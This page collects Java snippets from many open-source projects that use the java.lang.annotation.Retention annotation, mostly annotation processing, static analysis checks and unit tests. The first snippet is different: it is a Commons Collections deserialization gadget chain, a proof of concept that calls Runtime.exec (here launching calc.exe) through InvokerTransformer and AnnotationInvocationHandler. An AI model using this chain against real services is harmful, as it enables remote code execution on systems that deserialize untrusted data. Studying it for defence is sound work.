Java 类java.lang.annotation.Retention 实例源码

项目:interview-question-code    文件:App.java   
public static Object Reverse_Payload() throws Exception {
    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
                    new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
                    new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class},
                    new Object[]{"calc.exe"})};
    Transformer transformerChain = new ChainedTransformer(transformers);

    Map pocMap = new HashMap();
    pocMap.put("value", "value");
    Map outmap = TransformedMap.decorate(pocMap, null, transformerChain);
    //通过反射获得AnnotationInvocationHandler类对象
    Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    //通过反射获得cls的构造函数
    Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
    //这里需要设置Accessible为true,否则序列化失败
    ctor.setAccessible(true);
    //通过newInstance()方法实例化对象
    Object instance = ctor.newInstance(Retention.class, outmap);
    return instance;
}
项目:beanvalidation-benchmark    文件:Jsr303Annotator.java   
private JDefinedClass buildTemplateConstraint(String name) {
    try {
        JDefinedClass tplConstraint = codeModel._class(Config.CFG.getBasePackageName() + ".annot."+name, ClassType.ANNOTATION_TYPE_DECL);
        tplConstraint.annotate(Documented.class);
        tplConstraint.annotate(Retention.class).param("value", RetentionPolicy.RUNTIME);
        tplConstraint.annotate(Target.class).paramArray("value").param(ElementType.TYPE).param(ElementType.ANNOTATION_TYPE).param(ElementType.FIELD).param(ElementType.METHOD);

        // Using direct as I don't know how to build default { } with code model
        tplConstraint.direct("\n" + "    Class<?>[] groups() default {};\n" + "    String message() default \"Invalid value\";\n" + "    Class<? extends Payload>[] payload() default {};\n");

        // Hack to force the import of javax.validation.Payload
        tplConstraint.javadoc().addThrows((JClass) codeModel._ref(Payload.class)).add("Force import");

        return tplConstraint;
    } catch (JClassAlreadyExistsException e) {
        throw new RuntimeException("Tried to create an already existing class: " + name, e);
    }
}
项目:russian-requisites-validator    文件:ArchitectureTest.java   
private static ArchCondition<JavaClass> retention(final RetentionPolicy expected) {
    return new ArchCondition<JavaClass>("retention " + expected.name()) {
        @Override
        public void check(JavaClass item, ConditionEvents events) {
            Optional<Retention> annotation = item.tryGetAnnotationOfType(Retention.class);
            if (annotation.isPresent()) {
                RetentionPolicy actual = annotation.get().value();
                boolean equals = expected.equals(actual);
                String message = String.format("class %s is annotated with %s with value = '%s' which %s with required '%s'",
                        item.getName(), Retention.class.getSimpleName(), actual.name(), equals ? "equals" : "not equals", expected.name()
                );
                events.add(equals ? SimpleConditionEvent.satisfied(item, message) : SimpleConditionEvent.violated(item, message));
            }
        }
    };
}
项目:Spork    文件:QualifierCacheTests.java   
@Test
public void annotationWithValueMethod() {
    Annotation annotation = Singleton.class.getAnnotation(Retention.class);
    cache.getQualifier(annotation);

    InOrder inOrder = inOrder(lock, cache);

    // initial call
    inOrder.verify(cache).getQualifier(annotation);

    // internal thread safe method lookup
    inOrder.verify(cache).getValueMethodThreadSafe(Retention.class);
    inOrder.verify(lock).lock();
    inOrder.verify(cache).getValueMethod(Retention.class);
    inOrder.verify(lock).unlock();

    // get Qualifier from value() method
    inOrder.verify(cache).getQualifier(any(Method.class), eq(annotation));

    inOrder.verifyNoMoreInteractions();
    verifyZeroInteractions(cache);
    assertThat(bindActionMap.size(), is(1));
}
项目:huntbugs    文件:DeclaredAnnotations.java   
@Override
protected void visitType(TypeDefinition td) {
    if (!td.isAnnotation())
        return;
    DeclaredAnnotation da = getOrCreate(td);
    for (CustomAnnotation ca : td.getAnnotations()) {
        if (Types.is(ca.getAnnotationType(), Retention.class)) {
            for (AnnotationParameter ap : ca.getParameters()) {
                if (ap.getMember().equals("value")) {
                    AnnotationElement value = ap.getValue();
                    if (value instanceof EnumAnnotationElement) {
                        EnumAnnotationElement enumValue = (EnumAnnotationElement) value;
                        if (Types.is(enumValue.getEnumType(), RetentionPolicy.class)) {
                            da.policy = RetentionPolicy.valueOf(enumValue.getEnumConstantName());
                        }
                    }
                }
            }
        }
    }
}
项目:Lyrics    文件:StringDefValuesHandler.java   
@Override
public void process(TypeSpec.Builder typeBuilder, TypeModel typeModel) {
    String valuesStr = "";
    for (String key : getEnumValues(typeModel)) {
        valuesStr += key + ", ";
        typeBuilder.addField(FieldSpec.builder(ClassName.get(String.class), key)
                .addModifiers(Modifier.PUBLIC, Modifier.STATIC, Modifier.FINAL)
                .initializer("$S", key)
                .build());
    }

    AnnotationSpec.Builder retentionAnnotation = AnnotationSpec.builder(ClassName.get(Retention.class)).
            addMember("value", "$T.SOURCE", ClassName.get(RetentionPolicy.class));
    AnnotationSpec.Builder intDefAnnotation = AnnotationSpec.builder(ClassName.get("android.support.annotation", "StringDef"))
            .addMember("value", "{ $L }", valuesStr.substring(0, valuesStr.length() - 2));

    typeBuilder.addType(TypeSpec.annotationBuilder(metaInfo.getClassName() + "Def").
            addModifiers(Modifier.PUBLIC).
            addAnnotation(retentionAnnotation.build()).
            addAnnotation(intDefAnnotation.build()).
            build());
}
项目:naum    文件:ClassTest.java   
@Test
public void loadAndCheckAnnotatedAnnotation() throws Exception {
    ClassInfo classInfo = ClassInfo.newAnnotation()
        .name("org.kordamp.naum.processor.klass.AnnotatedAnnotation")
        .iface(Annotation.class.getName())
        .build();
    classInfo.addToAnnotations(annotationInfo()
        .name(Retention.class.getName())
        .annotationValue("value", new EnumValue(RetentionPolicy.class.getName(), "SOURCE"))
        .build());
    classInfo.addToAnnotations(annotationInfo()
        .name(Target.class.getName())
        .annotationValue("value", newArrayValue(asList(
                newEnumValue(ElementType.class.getName(), ElementType.TYPE.name()),
                newEnumValue(ElementType.class.getName(), ElementType.FIELD.name()))
        ))
        .build());
    loadAndCheck("org/kordamp/naum/processor/klass/AnnotatedAnnotation.class", (klass) -> {
        assertThat(klass.getContentHash(), equalTo(classInfo.getContentHash()));
        assertThat(klass, equalTo(classInfo));
    });
}
项目:intellij-ce-playground    文件:AnonymousCanBeLambdaInspection.java   
private static boolean hasRuntimeAnnotations(PsiMethod method) {
  PsiAnnotation[] annotations = method.getModifierList().getAnnotations();
  for (PsiAnnotation annotation : annotations) {
    PsiJavaCodeReferenceElement ref = annotation.getNameReferenceElement();
    PsiElement target = ref != null ? ref.resolve() : null;
    if (target instanceof PsiClass) {
      final PsiAnnotation retentionAnno = AnnotationUtil.findAnnotation((PsiClass)target, Retention.class.getName());
      if (retentionAnno != null) {
        PsiAnnotationMemberValue value = retentionAnno.findAttributeValue("value");
        if (value instanceof PsiReferenceExpression) {
          final PsiElement resolved = ((PsiReferenceExpression)value).resolve();
          if (resolved instanceof PsiField && RetentionPolicy.RUNTIME.name().equals(((PsiField)resolved).getName())) {
            final PsiClass containingClass = ((PsiField)resolved).getContainingClass();
            if (containingClass != null && RetentionPolicy.class.getName().equals(containingClass.getQualifiedName())) {
              return true;
            }
          }
        }
      }
    }
  }
  return false;
}
项目:gwt-backbone    文件:ReflectAllInOneCreator.java   
private void getAllReflectionClasses() throws NotFoundException{

        //System annotations
        addClassIfNotExists(typeOracle.getType(Retention.class.getCanonicalName()), ReflectableHelper.getDefaultSettings(typeOracle));
        addClassIfNotExists(typeOracle.getType(Documented.class.getCanonicalName()), ReflectableHelper.getDefaultSettings(typeOracle));
        addClassIfNotExists(typeOracle.getType(Inherited.class.getCanonicalName()), ReflectableHelper.getDefaultSettings(typeOracle));
        addClassIfNotExists(typeOracle.getType(Target.class.getCanonicalName()), ReflectableHelper.getDefaultSettings(typeOracle));
        addClassIfNotExists(typeOracle.getType(Deprecated.class.getCanonicalName()), ReflectableHelper.getDefaultSettings(typeOracle));
        //typeOracle.getType("org.lirazs.gbackbone.client.test.reflection.TestReflectionGenerics.TestReflection1");

        //=====GWT0.7
        for (JClassType classType : typeOracle.getTypes()) {
            Reflectable reflectable = GenUtils.getClassTypeAnnotationWithMataAnnotation(classType, Reflectable.class);
            if (reflectable != null){
                processClass(classType, reflectable);

                if (reflectable.assignableClasses()){
                    for (JClassType type : classType.getSubtypes()){
                        processClass(type, reflectable);
                    }
                }
            }
        }
        //======end of gwt0.7
    }
项目:autodata    文件:AutoDataAnnotationProcessor.java   
@Nullable
private static Class<Annotation> getDeclaredAnnotationClass(AnnotationMirror mirror) throws ClassNotFoundException {
    TypeElement element = (TypeElement) mirror.getAnnotationType().asElement();
    // Ensure the annotation has the correct retention and targets.
    Retention retention = element.getAnnotation(Retention.class);
    if (retention != null && retention.value() != RetentionPolicy.RUNTIME) {
        return null;
    }
    Target target = element.getAnnotation(Target.class);
    if (target != null) {
        if (target.value().length < 2) {
            return null;
        }
        List<ElementType> targets = Arrays.asList(target.value());
        if (!(targets.contains(ElementType.TYPE) && targets.contains(ElementType.ANNOTATION_TYPE))) {
            return null;
        }
    }
    return (Class<Annotation>) Class.forName(element.getQualifiedName().toString());
}
项目:error-prone    文件:ScopeOrQualifierAnnotationRetention.java   
@Override
public final Description matchClass(ClassTree classTree, VisitorState state) {
  if (SCOPE_OR_QUALIFIER_ANNOTATION_MATCHER.matches(classTree, state)) {
    ClassSymbol classSymbol = ASTHelpers.getSymbol(classTree);
    if (hasSourceRetention(classSymbol)) {
      return describe(classTree, state, ASTHelpers.getAnnotation(classSymbol, Retention.class));
    }

    // TODO(glorioso): This is a poor hack to exclude android apps that are more likely to not
    // have reflective DI than normal java. JSR spec still says the annotations should be
    // runtime-retained, but this reduces the instances that are flagged.
    if (!state.isAndroidCompatible() && doesNotHaveRuntimeRetention(classSymbol)) {
      // Is this in a dagger component?
      ClassTree outer = ASTHelpers.findEnclosingNode(state.getPath(), ClassTree.class);
      if (outer != null && InjectMatchers.IS_DAGGER_COMPONENT_OR_MODULE.matches(outer, state)) {
        return Description.NO_MATCH;
      }
      return describe(classTree, state, ASTHelpers.getAnnotation(classSymbol, Retention.class));
    }
  }
  return Description.NO_MATCH;
}
项目:error-prone    文件:ScopeOrQualifierAnnotationRetention.java   
private Description describe(
    ClassTree classTree, VisitorState state, @Nullable Retention retention) {
  if (retention == null) {
    return describeMatch(
        classTree,
        SuggestedFix.builder()
            .addImport("java.lang.annotation.Retention")
            .addStaticImport("java.lang.annotation.RetentionPolicy.RUNTIME")
            .prefixWith(classTree, "@Retention(RUNTIME)\n")
            .build());
  }
  AnnotationTree retentionNode = null;
  for (AnnotationTree annotation : classTree.getModifiers().getAnnotations()) {
    if (ASTHelpers.getSymbol(annotation)
        .equals(state.getSymbolFromString(RETENTION_ANNOTATION))) {
      retentionNode = annotation;
    }
  }
  return describeMatch(
      retentionNode,
      SuggestedFix.builder()
          .addImport("java.lang.annotation.Retention")
          .addStaticImport("java.lang.annotation.RetentionPolicy.RUNTIME")
          .replace(retentionNode, "@Retention(RUNTIME)")
          .build());
}
项目:cn1    文件:Class1_5Test.java   
/**
 *  
 */
public void test_isAnnotationPresent_Cla() {
    class e {};
    assertFalse("zzz annotation is not presented for e class!", 
                     e.class.isAnnotationPresent(zzz.class));
          assertFalse("zzz annotation is not presented for zzz class!", 
                     zzz.class.isAnnotationPresent(zzz.class));
    assertTrue("Target annotation is presented for zzz class!",
                     zzz.class.isAnnotationPresent(java.lang.annotation
                                                   .Target.class));
    assertTrue("Documented annotation is presented for zzz class!",
                     zzz.class.isAnnotationPresent(java.lang.annotation
                                                   .Documented.class));
    assertTrue("Retention annotation is presented for zzz class!", 
                     zzz.class.isAnnotationPresent(java.lang.annotation
                                                   .Retention.class));
}
项目:cn1    文件:Class1_5Test.java   
/**
 *  
 */
public void test_getAnnotation_Cla() {
    class e {};
    assertNull("zzz annotation is not presented in e class!", 
                  e.class.getAnnotation(zzz.class));
    assertNull("zzz annotation is not presented in zzz class!", 
                  zzz.class.getAnnotation(zzz.class));
    assertFalse("Target annotation is presented in zzz class!", 
                  zzz.class.getAnnotation(java.lang.annotation.Target.class)
                     .toString().indexOf("java.lang.annotation.Target") == -1);
    assertFalse("Documented annotation is presented in zzz class!", 
                  zzz.class.getAnnotation(java.lang.annotation.Documented.class)
                     .toString().indexOf("java.lang.annotation.Documented") == -1);
          assertFalse("Retention annotation is presented in zzz class!", 
                  zzz.class.getAnnotation(java.lang.annotation.Retention.class)
                     .toString().indexOf("java.lang.annotation.Retention") == -1);
}
项目:error-prone-aspirator    文件:InjectScopeOrQualifierAnnotationRetention.java   
public Description describe(ClassTree classTree, VisitorState state) {
  Retention retention = ASTHelpers.getAnnotation(classTree, Retention.class);
  if (retention == null) {
    return describeMatch(classTree, new SuggestedFix().addImport(
        "java.lang.annotation.Retention")
        .addStaticImport("java.lang.annotation.RetentionPolicy.RUNTIME")
        .prefixWith(classTree, "@Retention(RUNTIME)\n"));
  }
  AnnotationTree retentionNode = null;
  for (AnnotationTree annotation : classTree.getModifiers().getAnnotations()) {
    if (ASTHelpers.getSymbol(annotation)
        .equals(state.getSymbolFromString(RETENTION_ANNOTATION))) {
      retentionNode = annotation;
    }
  }
  return describeMatch(retentionNode, new SuggestedFix().addImport(
      "java.lang.annotation.Retention")
      .addStaticImport("java.lang.annotation.RetentionPolicy.RUNTIME")
      .replace(retentionNode, "@Retention(RUNTIME)"));
}
项目:error-prone-aspirator    文件:NonRuntimeAnnotation.java   
@Override
public Description matchMethodInvocation(MethodInvocationTree tree, VisitorState state) {
  if (!methodSelect(
      instanceMethod(Matchers.<ExpressionTree>isSubtypeOf("java.lang.Class"), "getAnnotation"))
      .matches(tree, state)) {
    return Description.NO_MATCH;
  }
  MemberSelectTree memTree = (MemberSelectTree) tree.getArguments().get(0);
  TypeSymbol annotation = ASTHelpers.getSymbol(memTree.getExpression()).type.tsym;

  Retention retention = ASTHelpers.getAnnotation(annotation, Retention.class);
  if (retention != null && retention.value().equals(RUNTIME)) {
    return Description.NO_MATCH;
  }

  return describeMatch(tree, new SuggestedFix().replace(tree, "null"));
}
项目:freeVM    文件:Class1_5Test.java   
/**
 *  
 */
public void test_isAnnotationPresent_Cla() {
    class e {};
    assertFalse("zzz annotation is not presented for e class!", 
                     e.class.isAnnotationPresent(zzz.class));
          assertFalse("zzz annotation is not presented for zzz class!", 
                     zzz.class.isAnnotationPresent(zzz.class));
    assertTrue("Target annotation is presented for zzz class!",
                     zzz.class.isAnnotationPresent(java.lang.annotation
                                                   .Target.class));
    assertTrue("Documented annotation is presented for zzz class!",
                     zzz.class.isAnnotationPresent(java.lang.annotation
                                                   .Documented.class));
    assertTrue("Retention annotation is presented for zzz class!", 
                     zzz.class.isAnnotationPresent(java.lang.annotation
                                                   .Retention.class));
}
项目:freeVM    文件:Class1_5Test.java   
/**
 *  
 */
public void test_getAnnotation_Cla() {
    class e {};
    assertNull("zzz annotation is not presented in e class!", 
                  e.class.getAnnotation(zzz.class));
    assertNull("zzz annotation is not presented in zzz class!", 
                  zzz.class.getAnnotation(zzz.class));
    assertFalse("Target annotation is presented in zzz class!", 
                  zzz.class.getAnnotation(java.lang.annotation.Target.class)
                     .toString().indexOf("java.lang.annotation.Target") == -1);
    assertFalse("Documented annotation is presented in zzz class!", 
                  zzz.class.getAnnotation(java.lang.annotation.Documented.class)
                     .toString().indexOf("java.lang.annotation.Documented") == -1);
          assertFalse("Retention annotation is presented in zzz class!", 
                  zzz.class.getAnnotation(java.lang.annotation.Retention.class)
                     .toString().indexOf("java.lang.annotation.Retention") == -1);
}
项目:ajunit    文件:ClassPredicatesTest.java   
@Test
public void isSubclassOfInterfacePredicate() throws Exception {
    // arrange / given
    final Predicate predicate = ClassPredicates.isSubclassOf(AnyInterface.class);

    // assert / then
    assertClassType(predicate, int.class, false);
    assertClassType(predicate, void.class, false);
    assertClassType(predicate, int[].class, false);
    assertClassType(predicate, Object.class, false);
    assertClassType(predicate, Serializable.class, false);
    assertClassType(predicate, RetentionPolicy.class, false);
    assertClassType(predicate, Retention.class, false);
    assertClassType(predicate, AnyInterface.class, true);
    assertClassType(predicate, AnyBaseClass.class, true);
    assertClassType(predicate, AnyClass.class, true);
}
项目:ajunit    文件:ClassPredicatesTest.java   
@Test
public void isSubclassOfBaseClassPredicate() throws Exception {
    // arrange / given
    final Predicate predicate = ClassPredicates.isSubclassOf(AnyBaseClass.class);

    // assert / then
    assertClassType(predicate, int.class, false);
    assertClassType(predicate, void.class, false);
    assertClassType(predicate, int[].class, false);
    assertClassType(predicate, Object.class, false);
    assertClassType(predicate, Serializable.class, false);
    assertClassType(predicate, RetentionPolicy.class, false);
    assertClassType(predicate, Retention.class, false);
    assertClassType(predicate, AnyInterface.class, false);
    assertClassType(predicate, AnyBaseClass.class, true);
    assertClassType(predicate, AnyClass.class, true);
}
项目:teavm    文件:ClassTest.java   
@Test
public void annotationFieldTypesSupported() {
    AnnotWithVariousFields annot = D.class.getAnnotation(AnnotWithVariousFields.class);
    assertEquals(true, annot.a());
    assertEquals((byte) 2, annot.b());
    assertEquals((short) 3, annot.c());
    assertEquals(4, annot.d());
    assertEquals(5L, annot.e());
    assertEquals(6.5, annot.f(), 0.01);
    assertEquals(7.2, annot.g(), 0.01);
    assertArrayEquals(new int[] { 2, 3 }, annot.h());
    assertEquals(RetentionPolicy.CLASS, annot.i());
    assertEquals(Retention.class, annot.j().annotationType());
    assertEquals(1, annot.k().length);
    assertEquals(RetentionPolicy.RUNTIME, annot.k()[0].value());
    assertEquals("foo", annot.l());
    assertArrayEquals(new String[] { "bar" }, annot.m());
    assertEquals(Integer.class, annot.n());
}
项目:Reer    文件:AsmBackedClassGenerator.java   
public void addConstructor(Constructor<?> constructor) throws Exception {
    List<Type> paramTypes = new ArrayList<Type>();
    for (Class<?> paramType : constructor.getParameterTypes()) {
        paramTypes.add(Type.getType(paramType));
    }
    String methodDescriptor = Type.getMethodDescriptor(VOID_TYPE, paramTypes.toArray(EMPTY_TYPES));

    MethodVisitor methodVisitor = visitor.visitMethod(Opcodes.ACC_PUBLIC, "<init>", methodDescriptor, signature(constructor), EMPTY_STRINGS);

    for (Annotation annotation : constructor.getDeclaredAnnotations()) {
        if (annotation.annotationType().getAnnotation(Inherited.class) != null) {
            continue;
        }
        Retention retention = annotation.annotationType().getAnnotation(Retention.class);
        AnnotationVisitor annotationVisitor = methodVisitor.visitAnnotation(Type.getType(annotation.annotationType()).getDescriptor(), retention != null && retention.value() == RetentionPolicy.RUNTIME);
        annotationVisitor.visitEnd();
    }

    methodVisitor.visitCode();

    // this.super(p0 .. pn)
    methodVisitor.visitVarInsn(Opcodes.ALOAD, 0);
    for (int i = 0; i < constructor.getParameterTypes().length; i++) {
        methodVisitor.visitVarInsn(Type.getType(constructor.getParameterTypes()[i]).getOpcode(Opcodes.ILOAD), i + 1);
    }
    methodVisitor.visitMethodInsn(Opcodes.INVOKESPECIAL, superclassType.getInternalName(), "<init>", methodDescriptor, false);

    methodVisitor.visitInsn(Opcodes.RETURN);
    methodVisitor.visitMaxs(0, 0);
    methodVisitor.visitEnd();
}
项目:Reer    文件:AsmBackedClassGenerator.java   
private void includeNotInheritedAnnotations() {
    for (Annotation annotation : type.getDeclaredAnnotations()) {
        if (annotation.annotationType().getAnnotation(Inherited.class) != null) {
            continue;
        }
        Retention retention = annotation.annotationType().getAnnotation(Retention.class);
        boolean visible = retention != null && retention.value() == RetentionPolicy.RUNTIME;
        AnnotationVisitor annotationVisitor = visitor.visitAnnotation(Type.getType(annotation.annotationType()).getDescriptor(), visible);
        visitAnnotationValues(annotation, annotationVisitor);
        annotationVisitor.visitEnd();
    }
}
项目:Reer    文件:GradleResolveVisitor.java   
public void visitAnnotations(AnnotatedNode node) {
    List<AnnotationNode> annotations = node.getAnnotations();
    if (annotations.isEmpty()) {
        return;
    }
    Map<String, AnnotationNode> tmpAnnotations = new HashMap<String, AnnotationNode>();
    ClassNode annType;
    for (AnnotationNode an : annotations) {
        // skip built-in properties
        if (an.isBuiltIn()) {
            continue;
        }
        annType = an.getClassNode();
        resolveOrFail(annType, ",  unable to find class for annotation", an);
        for (Map.Entry<String, Expression> member : an.getMembers().entrySet()) {
            Expression newValue = transform(member.getValue());
            newValue = transformInlineConstants(newValue);
            member.setValue(newValue);
            checkAnnotationMemberValue(newValue);
        }
        if (annType.isResolved()) {
            Class annTypeClass = annType.getTypeClass();
            Retention retAnn = (Retention) annTypeClass.getAnnotation(Retention.class);
            if (retAnn != null && retAnn.value().equals(RetentionPolicy.RUNTIME)) {
                AnnotationNode anyPrevAnnNode = tmpAnnotations.put(annTypeClass.getName(), an);
                if (anyPrevAnnNode != null) {
                    addError("Cannot specify duplicate annotation on the same member : " + annType.getName(), an);
                }
            }
        }
    }
}
项目:incubator-netbeans    文件:GenerationUtilsTest.java   
public void testCreateAnnotation() throws Exception {
    TestUtilities.copyStringToFileObject(testFO,
            "package foo;" +
            "public class TestClass {" +
            "}");
    runModificationTask(testFO, new Task<WorkingCopy>() {
        public void run(WorkingCopy copy) throws Exception {
            GenerationUtils genUtils = GenerationUtils.newInstance(copy);
            ClassTree classTree = (ClassTree)copy.getCompilationUnit().getTypeDecls().get(0);
            AnnotationTree annotationTree = genUtils.createAnnotation("java.lang.SuppressWarnings",
                    Collections.singletonList(genUtils.createAnnotationArgument(null, "unchecked")));
            ClassTree newClassTree = genUtils.addAnnotation(classTree, annotationTree);
            annotationTree = genUtils.createAnnotation("java.lang.annotation.Retention",
                    Collections.singletonList(genUtils.createAnnotationArgument(null, "java.lang.annotation.RetentionPolicy", "RUNTIME")));
            newClassTree = genUtils.addAnnotation(newClassTree, annotationTree);
            copy.rewrite(classTree, newClassTree);
        }
    }).commit();
    runUserActionTask(testFO, new Task<CompilationController>() {
        public void run(CompilationController controller) throws Exception {
            TypeElement typeElement = SourceUtils.getPublicTopLevelElement(controller);
            assertEquals(2, typeElement.getAnnotationMirrors().size());
            SuppressWarnings suppressWarnings = typeElement.getAnnotation(SuppressWarnings.class);
            assertNotNull(suppressWarnings);
            assertEquals(1, suppressWarnings.value().length);
            assertEquals("unchecked", suppressWarnings.value()[0]);
            Retention retention = typeElement.getAnnotation(Retention.class);
            assertNotNull(retention);
            assertEquals(RetentionPolicy.RUNTIME, retention.value());
        }
    });
}
项目:elasticsearch_my    文件:Matchers.java   
private static void checkForRuntimeRetention(
        Class<? extends Annotation> annotationType) {
    Retention retention = annotationType.getAnnotation(Retention.class);
    if (retention == null || retention.value() != RetentionPolicy.RUNTIME) {
        throw new IllegalArgumentException("Annotation " + annotationType.getSimpleName() + " is missing RUNTIME retention");
    }
}
项目:openjdk-systemtest    文件:AnnotationFieldTests.java   
public void testMetaAnnotation() throws NoSuchFieldException
{
    Field myMetaField = AnnotatedElements.class.getDeclaredField("field4");

    // The @A_Meta annotation has an annotation called @MetaAnnotation2
    A_Meta am = myMetaField.getAnnotation(A_Meta.class);
    assertTrue( am.annotationType().isAnnotationPresent(MetaAnnotation2.class));
    assertTrue( am.annotationType().isAnnotationPresent(MetaAnnotation3.class));

    Annotation[] annot1 = am.annotationType().getAnnotations();
    // 3 annotations should be present: @MetaAnnotation2,@MetaAnnotation3,@Retention
    assertTrue (annot1.length == 3);

    boolean[] annot_count = new boolean[] {false, false, false};        
    for (int i=0; i<annot1.length; i++)
    {
        if (annot1[i] instanceof Retention)
            annot_count[0] = true;
        else if (annot1[i] instanceof MetaAnnotation2)
            annot_count[1] = true;              
        else if (annot1[i] instanceof MetaAnnotation3)
            annot_count[2] = true;              
        else
            fail("Error! Unknown annotation instance detected in field2!");                         
    }
    // Make sure all three annotations were found
    assertTrue(annot_count[0] && annot_count[1] && annot_count[2]);     

    // @MetaAnnotation2 has an annotation called @MetaAnnotation
    Annotation annot2 = MetaAnnotation2.class.getAnnotation(MetaAnnotation.class);
    assertTrue(annot2 != null);
    assertTrue(annot2 instanceof MetaAnnotation);       
}
项目:guava-mock    文件:FeatureEnumTest.java   
private static void assertGoodTesterAnnotation(
    Class<? extends Annotation> annotationClass) {
  assertNotNull(
      rootLocaleFormat("%s must be annotated with @TesterAnnotation.",
          annotationClass),
      annotationClass.getAnnotation(TesterAnnotation.class));
  final Retention retentionPolicy =
      annotationClass.getAnnotation(Retention.class);
  assertNotNull(
      rootLocaleFormat("%s must have a @Retention annotation.", annotationClass),
      retentionPolicy);
  assertEquals(
      rootLocaleFormat("%s must have RUNTIME RetentionPolicy.", annotationClass),
      RetentionPolicy.RUNTIME, retentionPolicy.value());
  assertNotNull(
      rootLocaleFormat("%s must be inherited.", annotationClass),
      annotationClass.getAnnotation(Inherited.class));

  for (String propertyName : new String[]{"value", "absent"}) {
    Method method = null;
    try {
      method = annotationClass.getMethod(propertyName);
    } catch (NoSuchMethodException e) {
      fail(rootLocaleFormat("%s must have a property named '%s'.",
          annotationClass, propertyName));
    }
    final Class<?> returnType = method.getReturnType();
    assertTrue(rootLocaleFormat("%s.%s() must return an array.",
        annotationClass, propertyName),
        returnType.isArray());
    assertSame(rootLocaleFormat("%s.%s() must return an array of %s.",
        annotationClass, propertyName, annotationClass.getDeclaringClass()),
        annotationClass.getDeclaringClass(), returnType.getComponentType());
  }
}
项目:ArchUnit    文件:CanBeAnnotated.java   
private static void checkAnnotationHasReasonableRetention(Class<? extends Annotation> annotationType) {
    if (isRetentionSource(annotationType)) {
        throw new InvalidSyntaxUsageException(String.format(
                "Annotation type %s has @%s(%s), thus the information is gone after compile. "
                        + "So checking this with ArchUnit is useless.",
                annotationType.getName(), Retention.class.getSimpleName(), RetentionPolicy.SOURCE));
    }
}
项目:ArchUnit    文件:JavaClassTest.java   
@Test
public void isAnnotatedWith_type() {
    assertThat(importClassWithContext(Parent.class).isAnnotatedWith(SomeAnnotation.class))
            .as("Parent is annotated with @" + SomeAnnotation.class.getSimpleName()).isTrue();
    assertThat(importClassWithContext(Parent.class).isAnnotatedWith(Retention.class))
            .as("Parent is annotated with @" + Retention.class.getSimpleName()).isFalse();
}
项目:ArchUnit    文件:JavaClassTest.java   
@Test
public void isAnnotatedWith_typeName() {
    assertThat(importClassWithContext(Parent.class).isAnnotatedWith(SomeAnnotation.class.getName()))
            .as("Parent is annotated with @" + SomeAnnotation.class.getSimpleName()).isTrue();
    assertThat(importClassWithContext(Parent.class).isAnnotatedWith(Retention.class.getName()))
            .as("Parent is annotated with @" + Retention.class.getSimpleName()).isFalse();
}
项目:ArchUnit    文件:AnnotationProxyTest.java   
@Test
public void wrong_annotation_type_is_rejected() {
    JavaAnnotation mismatch = javaAnnotationFrom(TestAnnotation.class.getAnnotation(Retention.class));

    thrown.expect(IllegalArgumentException.class);
    thrown.expectMessage(Retention.class.getSimpleName());
    thrown.expectMessage(TestAnnotation.class.getSimpleName());
    thrown.expectMessage("incompatible");
    AnnotationProxy.of(TestAnnotation.class, mismatch);
}
项目:ArchUnit    文件:JavaMemberTest.java   
@Test
public void isAnnotatedWith_type() {
    assertThat(importField(SomeClass.class, "someField").isAnnotatedWith(Deprecated.class))
            .as("field is annotated with @Deprecated").isTrue();
    assertThat(importField(SomeClass.class, "someField").isAnnotatedWith(Retention.class))
            .as("field is annotated with @Retention").isFalse();
}
项目:ArchUnit    文件:JavaMemberTest.java   
@Test
public void isAnnotatedWith_typeName() {
    assertThat(importField(SomeClass.class, "someField").isAnnotatedWith(Deprecated.class.getName()))
            .as("field is annotated with @Deprecated").isTrue();
    assertThat(importField(SomeClass.class, "someField").isAnnotatedWith(Retention.class.getName()))
            .as("field is annotated with @Retention").isFalse();
}
项目:queries    文件:QueriesConfigImplTest.java   
@Before
public void setUp() {
    mappers = new HashMap<>();
    mappers.put(Retention.class, mapper1);
    mappers.put(Target.class, mapper2);

    converters = new HashMap<>();
    converters.put(Retention.class, converter1);
    converters.put(Target.class, converter2);

    config = new QueriesConfigImpl(dialect, binder, mappers, converters);
}
项目:googles-monorepo-demo    文件:FeatureEnumTest.java   
private static void assertGoodTesterAnnotation(
    Class<? extends Annotation> annotationClass) {
  assertNotNull(
      rootLocaleFormat("%s must be annotated with @TesterAnnotation.",
          annotationClass),
      annotationClass.getAnnotation(TesterAnnotation.class));
  final Retention retentionPolicy =
      annotationClass.getAnnotation(Retention.class);
  assertNotNull(
      rootLocaleFormat("%s must have a @Retention annotation.", annotationClass),
      retentionPolicy);
  assertEquals(
      rootLocaleFormat("%s must have RUNTIME RetentionPolicy.", annotationClass),
      RetentionPolicy.RUNTIME, retentionPolicy.value());
  assertNotNull(
      rootLocaleFormat("%s must be inherited.", annotationClass),
      annotationClass.getAnnotation(Inherited.class));

  for (String propertyName : new String[]{"value", "absent"}) {
    Method method = null;
    try {
      method = annotationClass.getMethod(propertyName);
    } catch (NoSuchMethodException e) {
      fail(rootLocaleFormat("%s must have a property named '%s'.",
          annotationClass, propertyName));
    }
    final Class<?> returnType = method.getReturnType();
    assertTrue(rootLocaleFormat("%s.%s() must return an array.",
        annotationClass, propertyName),
        returnType.isArray());
    assertSame(rootLocaleFormat("%s.%s() must return an array of %s.",
        annotationClass, propertyName, annotationClass.getDeclaringClass()),
        annotationClass.getDeclaringClass(), returnType.getComponentType());
  }
}
项目:toothpick    文件:FactoryProcessor.java   
private void checkScopeAnnotationValidity(TypeElement annotation) {
  if (annotation.getAnnotation(Scope.class) == null) {
    error(annotation, "Scope Annotation %s does not contain Scope annotation.", annotation.getQualifiedName());
    return;
  }

  Retention retention = annotation.getAnnotation(Retention.class);
  if (retention == null || retention.value() != RetentionPolicy.RUNTIME) {
    error(annotation, "Scope Annotation %s does not have RUNTIME retention policy.", annotation.getQualifiedName());
  }
}
项目:aml    文件:Context.java   
private JDefinedClass createCustomHttpMethodAnnotation(final String httpMethod)
    throws JClassAlreadyExistsException
{
    final JPackage pkg = codeModel._package(getSupportPackage());
    final JDefinedClass annotationClazz = pkg._annotationTypeDeclaration(httpMethod);
    annotationClazz.annotate(Target.class).param("value", ElementType.METHOD);
